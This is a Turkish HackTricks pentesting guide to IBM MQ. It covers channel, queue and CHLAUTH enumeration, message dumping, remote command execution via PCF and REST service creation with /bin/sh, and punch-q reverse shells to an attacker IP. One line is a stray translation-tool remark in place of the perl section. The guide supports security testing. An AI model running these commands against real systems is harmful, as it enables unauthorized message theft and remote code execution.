1414 - Pentesting IBM MQ

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel bilgiler

IBM MQ, mesaj kuyruklarını yönetmek için kullanılan bir IBM teknolojisidir. Diğer message broker teknolojilerinde olduğu gibi, üreticiler ile tüketiciler arasındaki bilgiyi almak, depolamak, işlemek ve sınıflandırmak için tasarlanmıştır.

Varsayılan olarak, IBM MQ TCP portu 1414 açıktır. Bazen, HTTP REST API portu 9443 üzerinde açılabilir. Metrics (Prometheus) ayrıca TCP portu 9157 üzerinden erişilebilir.

IBM MQ TCP portu 1414, mesajlar, kuyruklar, kanallar üzerinde işlem yapmak için kullanılabileceği gibi, instansı kontrol etmek için de kullanılabilir.

IBM, geniş bir teknik dokümantasyonu şu adreste sağlar: https://www.ibm.com/docs/en/ibm-mq.

Araçlar

Kolay sömürü için önerilen bir araç, Docker ile kullanılabilen punch-q’dir. Araç, Python kütüphanesi pymqi’yi aktif olarak kullanır.

Daha manuel bir yaklaşım için Python kütüphanesi pymqi kullanılabilir. IBM MQ dependencies gereklidir.

pymqi kurulumu

IBM MQ dependencies yüklenip etkinleştirilmelidir:

  1. https://login.ibm.com/ adresinde bir hesap (IBMid) oluşturun.
  2. IBM MQ kütüphanelerini şu adresten indirin: https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc. Linux x86_64 için dosya 9.0.0.4-IBM-MQC-LinuxX64.tar.gz’tür.
  3. Çıkarın (tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz).
  4. Lisans koşullarını kabul etmek için sudo ./mqlicense.sh komutunu çalıştırın.

Eğer Kali Linux kullanıyorsanız, mqlicense.sh dosyasını düzenleyin: aşağıdaki satırları kaldırın/yorum satırı yapın (satır 105-110 arası):

if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
then
  echo "ERROR: This package is incompatible with this system"
  echo "       This package was built for ${BUILD_PLATFORM}"
  exit 1
fi
  1. Bu paketleri kurun:
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
  1. Ardından, geçici olarak .so dosyalarını LD’ye ekleyin: export LD_LIBRARY_PATH=/opt/mqm/lib64, bu bağımlılıkları kullanan diğer araçları çalıştırmadan önce.

Sonra, projeyi klonlayabilirsiniz pymqi: ilginç kod parçacıkları, sabitler vb. içerir… Ya da kütüphaneyi doğrudan şu şekilde kurabilirsiniz: pip install pymqi.

Using punch-q

With Docker

Basitçe kullanın: sudo docker run --rm -ti leonjza/punch-q.

Without Docker

Projeyi klonlayın punch-q sonra kurulum için readme’i izleyin (pip install -r requirements.txt && python3 setup.py install).

Sonrasında punch-q komutu ile kullanılabilir.

Keşif

Queue Manager adını, kullanıcıları, kanalları ve kuyrukları punch-q veya pymqi ile listelemeyi deneyebilirsiniz.

Eğer TCP/1414 filtrelenmişse veya hedef yalnızca gömülü web sunucusunu açıyorsa, TCP/9443’ü de kontrol edin. Yeni IBM MQ sürümleri mqweb etkinleştirildiğinde varsayılan olarak orada IBM MQ Console / REST API’yi açar ve yönetici REST uç noktası geçerli kimlik bilgisine sahipseniz rastgele MQSC komutları çalıştırabilir.

Queue Manager

Bazen Queue Manager adını almak için herhangi bir koruma yoktur:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR

Kanallar

punch-q dahili (değiştirilebilir) bir wordlist kullanarak mevcut kanalları buluyor. Kullanım örneği:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.

Bazı IBM MQ örnekleri unauthenticated MQ isteklerini kabul edebiliyor, bu yüzden --username / --password gerekli olmayabilir. Tabii ki, erişim hakları da değişkenlik gösterebilir.

Bir kanal adını (burada: DEV.ADMIN.SVRCONN) elde ettiğimiz anda, diğer tüm kanalları da sıralayabiliriz.

Sıralama temelde pymqi’nin code/examples/dis_channels.py kod parçacığıyla yapılabilir:

import logging
import pymqi

logging.basicConfig(level=logging.INFO)

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

prefix = '*'

args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)

qmgr.disconnect()

… Ancak punch-q ayrıca o kısmı (daha fazla bilgiyle!) içerir. Şu şekilde başlatılabilir:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...

| Name                 | Type              | MCA UID | Conn Name | Xmit Queue | Description     | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN    | Server-connection |         |           |            |                 |            |
| DEV.APP.SVRCONN      | Server-connection | app     |           |            |                 |            |
| SYSTEM.AUTO.RECEIVER | Receiver          |         |           |            | Auto-defined by |            |
| SYSTEM.AUTO.SVRCONN  | Server-connection |         |           |            | Auto-defined by |            |
| SYSTEM.DEF.AMQP      | AMQP              |         |           |            |                 |            |
| SYSTEM.DEF.CLUSRCVR  | Cluster-receiver  |         |           |            |                 |            |
| SYSTEM.DEF.CLUSSDR   | Cluster-sender    |         |           |            |                 |            |
| SYSTEM.DEF.RECEIVER  | Receiver          |         |           |            |                 |            |
| SYSTEM.DEF.REQUESTER | Requester         |         |           |            |                 |            |
| SYSTEM.DEF.SENDER    | Sender            |         |           |            |                 |            |
| SYSTEM.DEF.SERVER    | Server            |         |           |            |                 |            |
| SYSTEM.DEF.SVRCONN   | Server-connection |         |           |            |                 |            |
| SYSTEM.DEF.CLNTCONN  | Client-connection |         |           |            |                 |            |

CHLAUTH / OAM recon

Birçok “it connects but returns 2035” vakası CHLAUTH kuralları veya hedef nesnelerde eksik OAM izinleri nedeniyle oluşur.

Zaten yönetici seviyesinde MQSC erişiminiz varsa, MATCH(RUNCHECK) uzak bir bağlantıya hangi kuralın uygulanacağını anlamanın en hızlı yoludur:

echo "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
| runmqsc MYQUEUEMGR

9443 üzerindeki REST admin endpoint aracılığıyla aynı kontrol uzaktan yapılabilir:

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

Eğer uzaktan PCF kullanmak için yeterli haklara sahipseniz, IBM MQCMD_INQUIRE_CHLAUTH_RECS’yi sunar; bu, kanal kimlik doğrulama kayıtlarını ve bunların MCAUSER ile eşlemelerini döndürür. Bu, mesaj erişimi, nesne oluşturma veya servis suistimali denemeden önce bir kanalın uzak kullanıcıları daha ayrıcalıklı bir yerel hesaba eşleyip eşlemediğini doğrulamak için faydalıdır.

Queues

Bir pymqi (dis_queues.py) ile kod örneği var, ancak punch-q kuyruklar hakkında daha fazla bilgi almayı sağlar:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created   | Name                 | Type   | Usage   | Depth  | Rmt. QM | Rmt. Qu | Description                       |
|           |                      |        |         |        | GR Name | eue Nam |                                   |
|           |                      |        |         |        |         | e       |                                   |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 | E                    |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.1          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.2          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.3          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
# Truncated

Exploit

Dump messages

Kuyruk(lar)/kanal(lar)ı hedef alarak bunlardan mesajları sniff out / dump edebilirsiniz (yıkıcı olmayan işlem). Örnekler:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump

Tespit edilen tüm kuyruklarda tekrar denemekten çekinmeyin.

Kod yürütme

Devam etmeden önce birkaç detay: IBM MQ birden fazla yolla kontrol edilebilir: MQSC, PCF, Control Command. Bazı genel listeler IBM MQ documentation içinde bulunabilir. PCF (Programmable Command Formats) uzaktan instance ile etkileşim için odaklandığımız şeydir. punch-q ve ayrıca pymqi PCF etkileşimlerine dayanır.

PCF komutlarının bir listesini bulabilirsiniz:

İlginç bir komut MQCMD_CREATE_SERVICE’dir ve dokümantasyonu here adresinde mevcuttur. Bu komut, instance’da yerel bir programa işaret eden bir StartCommand argümanı alır (örnek: /bin/sh).

Dokümanlarda bu komut için ayrıca bir uyarı bulunmaktadır: “Dikkat: Bu komut bir kullanıcının mqm yetkisiyle rastgele bir komut çalıştırmasına izin verir. Bu komutu kullanma hakkı verildiğinde, kötü niyetli veya dikkatsiz bir kullanıcı sistemlerinize veya verilerinize zarar verebilecek bir hizmet tanımlayabilir; örneğin, gerekli dosyaları silerek.”

Not: IBM MQ dokümantasyonuna (Administration Reference) göre, servis oluşturma için eşdeğer MQSC komutunu çalıştırmak üzere /admin/action/qmgr/{qmgrName}/mqsc adresinde bir HTTP endpoint’i de vardır (DEFINE SERVICE). Bu kısım burada henüz ele alınmamıştır.

Eğer MQ Console / REST API kimlik bilgileri varsa, genellikle aynı yönetim işlemlerine MQ client kütüphanelerini kullanmadan HTTPS üzerinde 9443 portundan erişebilirsiniz. IBM, /ibmmq/rest/v3/admin/action/qmgr/{qmgrName}/mqsc’yi plain-text MQSC veya JSON komutlarını kabul eden bir endpoint olarak dokümante ediyor.

Uzaktan program yürütme için PCF ile servis oluşturma/silme işlemi punch-q ile yapılabilir:

Örnek 1

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"

IBM MQ günlüklerinde komutun başarıyla çalıştırıldığını görebilirsiniz:

2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]

Ayrıca makinedeki mevcut programları da listeleyebilirsiniz (burada /bin/doesnotexist … mevcut değil):

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436

Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done

Program başlatmanın asenkron olduğunu unutmayın. Bu yüzden exploit’ten yararlanmak için ikinci bir öğeye ihtiyacınız var (listener for reverse shell, file creation on different service, data exfiltration through network …)

Aynı teknik REST API üzerinden de çalıştırılabilir:

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DEFINE SERVICE(HACKTRICKS) CONTROL(MANUAL) SERVTYPE(COMMAND) STARTCMD('/bin/sh') STARTARG('-c id >/tmp/mq.id')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "START SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DELETE SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

Bu, özellikle şu durumlarda yapılan değerlendirmeler için faydalıdır:

  • 9443 erişilebilir ancak 1414 daha küçük bir kaynak aralığıyla kısıtlanmış
  • Hedef ekip IBM MQ’yu ağırlıklı olarak web konsolu üzerinden yönetiyor ve REST rolleri sertleştirmeyi unutmuş
  • Yerel olarak IBM MQ client kütüphanelerini kurmaktan kaçınmak istiyorsunuz ve yalnızca MQSC düzeyinde yönetim gerekiyor

Örnek 2

Kolay reverse shell için, punch-q ayrıca iki reverse shell payload önerir :

  • Biri bash ile
  • Biri perl ile

Elbette execute komutuyla özel bir tane oluşturabilirsiniz.

bash için:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

Lütfen çevirmemi istediğiniz metni yapıştırın — “For perl:” başlığının altındaki İngilizce içeriği gönderirseniz Türkçeye çeviririm.

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

Özel PCF

IBM MQ dokümantasyonuna bakabilir ve doğrudan pymqi python kütüphanesini kullanarak punch-q içinde uygulanmamış belirli PCF komutlarını test edebilirsiniz.

Örnek:

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response

qmgr.disconnect()

Sabit isimlerini bulamıyorsanız, IBM MQ documentation başvurabilirsiniz.

_Örnek: MQCMD_REFRESH_CLUSTER (Decimal = 73). MQCA_CLUSTER_NAME parametresini (Decimal = 2029) gerektirir; bu _ olabilir (Dok: ):*

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
   args = {2029: "*"}
   response = pcf.MQCMD_REFRESH_CLUSTER(args)
except pymqi.MQMIError as e:
   print("Error")
else:
   print(response)

qmgr.disconnect()

Test ortamı

IBM MQ davranışını ve exploits’lerini test etmek istiyorsanız, Docker tabanlı yerel bir ortam kurabilirsiniz:

  1. ibm.com ve cloud.ibm.com üzerinde bir hesabınız olması.
  2. Aşağıdaki gibi containerize edilmiş bir IBM MQ oluşturun:
sudo docker pull icr.io/ibm-messaging/mq:latest
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:latest

Burada, queue yöneticisinin adı MYQUEUEMGR olarak ayarlandı (değişken MQ_QMGR_NAME).

Son 9.4.x developer imajları varsayılan davranışı değiştirdi:

  • admin ve app yalnızca parolalarını belirlerseniz oluşturulur
  • IBM, MQ_ADMIN_PASSWORD / MQ_APP_PASSWORD’ı 9.4.0.0’den itibaren kullanımdan kaldırılmış olarak belgeliyor
  • Tercih edilen yöntem, mqAdminPassword ve mqAppPassword adlı secrets enjekte etmektir

Podman ile hızlı bir yerel laboratuvar için, her iki kullanıcıyı şu şekilde oluşturabilirsiniz:

printf 'passw0rd' | podman secret create mqAdminPassword -
printf 'passw0rd' | podman secret create mqAppPassword -
podman run --secret mqAdminPassword --secret mqAppPassword \
-e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR \
-p1414:1414 -p9157:9157 -p9443:9443 \
--name testing-ibmmq icr.io/ibm-messaging/mq:latest

Varsayılan geliştirici yapılandırmasıyla:

  • DEV.ADMIN.SVRCONN yalnızca admin kullanıcısına izin verir
  • DEV.APP.SVRCONN uygulama kanalıdır ve beklenen kimlik app kullanıcısıdır
  • https://<target>:9443/ibmmq/console yerleşik web sunucusu etkin olduğunda web konsolunu erişime açar

IBM MQ’nun portları açık ve çalışır durumda olmalıdır:

❯ sudo docker ps
CONTAINER ID   IMAGE                                COMMAND                  CREATED         STATUS                    PORTS                                                                    NAMES
58ead165e2fd   icr.io/ibm-messaging/mq:latest       "runmqdevserver"         3 seconds ago   Up 3 seconds              0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp   testing-ibmmq

Eski sürüm IBM MQ docker images şu adreste: https://hub.docker.com/r/ibmcom/mq/.

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin